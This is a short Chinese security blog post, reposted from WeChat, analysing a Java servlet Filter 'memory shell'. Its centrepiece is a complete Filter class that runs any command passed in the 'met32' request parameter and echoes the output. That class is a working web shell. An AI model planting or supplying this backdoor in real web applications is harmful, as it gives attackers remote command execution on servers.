扫一扫关注公众号,长期致力于安全研究
前言:本文简单分析JAVA Filter内存马
最近看见很多师傅们都在转这种类型的文章。找了一种拿来分析了一下,看完之后实现其实很简单的。
其实所谓的"内存马"(分析的是Filter这种),无疑就是在Filter过滤器上做了点手脚。
简单科普一下,Filter过滤器实现流程大致如下。每当客户端请求servlet的时候,都会经过过滤器,而过滤器在实战项目中,通常用来进行一些session的校验等。统一设置编码格式,敏感字符过滤等
既然每次请求Servlet都会经过Filter过滤器。那么所谓的内存马,其实就是在这上面做手脚就可以了。
本次用的Maven项目搭建。需要引入servlet包
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
</dependency>
之后直接创建一个Filter过滤器即可,在下方doFilter就是需要实现功能的地方
实现代码如下:
分析一下,首先获取met32参数值,如果不为空,就通过servletRequest.getParameter接收请求参数并执行。而执行完成之后,并循环遍历读取内容回显到页面
public class MyFilter implements Filter {
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
if(servletRequest.getParameter("met32")!=null){
Process process = Runtime.getRuntime().exec(servletRequest.getParameter("met32"));
InputStream inputStream = process.getInputStream();
BufferedReader buffer= new BufferedReader(new InputStreamReader(inputStream));
String line;
while((line = buffer.readLine())!=null){
servletResponse.getWriter().println(line);
}
servletResponse.getWriter().flush();
}
filterChain.doFilter(servletRequest,servletResponse);
}
public void destroy() {
}
}
首先访问一个存在的servlet看一下,可以发现成功执行
那针对不存在的Servlet进行访问会怎样呢?是否会经过Filter过滤器?
可以看见在访问不存在的servlet的时候,也是会经过filter过滤器并执行命令
下方扫一下扫,即可关注
原文始发于微信公众号(安全族):JAVA内存马超简单剖析
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论